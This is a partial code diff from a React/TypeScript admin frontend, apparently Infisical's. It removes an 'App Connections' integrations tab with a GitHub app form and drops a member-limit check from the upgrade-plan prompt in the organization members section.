Workflow = "workflow", Workflow = "workflow"
AppConnections = "app-connections"
} }
interface WorkflowTabProps { interface WorkflowTabProps {
adminIntegrationsConfig: AdminIntegrationsConfig; adminIntegrationsConfig: AdminIntegrationsConfig;
} }
interface AppConnectionsTabProps {
adminIntegrationsConfig: AdminIntegrationsConfig;
}
const WorkflowTab = ({ adminIntegrationsConfig }: WorkflowTabProps) => ( const WorkflowTab = ({ adminIntegrationsConfig }: WorkflowTabProps) => (
<div className="flex flex-col gap-2"> <div className="flex flex-col gap-2">
<SlackIntegrationForm adminIntegrationsConfig={adminIntegrationsConfig} /> <SlackIntegrationForm adminIntegrationsConfig={adminIntegrationsConfig} />
@ -29,12 +23,6 @@ const WorkflowTab = ({ adminIntegrationsConfig }: WorkflowTabProps) => (
</div> </div>
); );
const AppConnectionsTab = ({ adminIntegrationsConfig }: AppConnectionsTabProps) => (
<div className="flex flex-col gap-2">
<GitHubAppConnectionForm adminIntegrationsConfig={adminIntegrationsConfig} />
</div>
);
export const IntegrationsPageForm = () => { export const IntegrationsPageForm = () => {
const { data: adminIntegrationsConfig } = useGetAdminIntegrationsConfig(); const { data: adminIntegrationsConfig } = useGetAdminIntegrationsConfig();
@ -59,11 +47,6 @@ export const IntegrationsPageForm = () => {
key: IntegrationTabSections.Workflow, key: IntegrationTabSections.Workflow,
label: "Workflows", label: "Workflows",
component: WorkflowTab component: WorkflowTab
},
{
key: IntegrationTabSections.AppConnections,
label: "App Connections",
component: AppConnectionsTab
} }
]; ];

View File

@ -39,10 +39,6 @@ export const OrgMembersSection = () => {
const { mutateAsync: deleteMutateAsync } = useDeleteOrgMembership(); const { mutateAsync: deleteMutateAsync } = useDeleteOrgMembership();
const { mutateAsync: updateOrgMembership } = useUpdateOrgMembership(); const { mutateAsync: updateOrgMembership } = useUpdateOrgMembership();
const isMoreUsersAllowed = subscription?.memberLimit
? subscription.membersUsed < subscription.memberLimit
: true;
const isMoreIdentitiesAllowed = subscription?.identityLimit const isMoreIdentitiesAllowed = subscription?.identityLimit
? subscription.identitiesUsed < subscription.identityLimit ? subscription.identitiesUsed < subscription.identityLimit
: true; : true;
@ -58,7 +54,7 @@ export const OrgMembersSection = () => {
return; return;
} }
if ((!isMoreUsersAllowed || !isMoreIdentitiesAllowed) && !isEnterprise) { if (!isMoreIdentitiesAllowed && !isEnterprise) {
handlePopUpOpen("upgradePlan", { handlePopUpOpen("upgradePlan", {
description: "You can add more members if you upgrade your Infisical plan." description: "You can add more members if you upgrade your Infisical plan."
}); });

Some files were not shown because too many files have changed in this diff Show More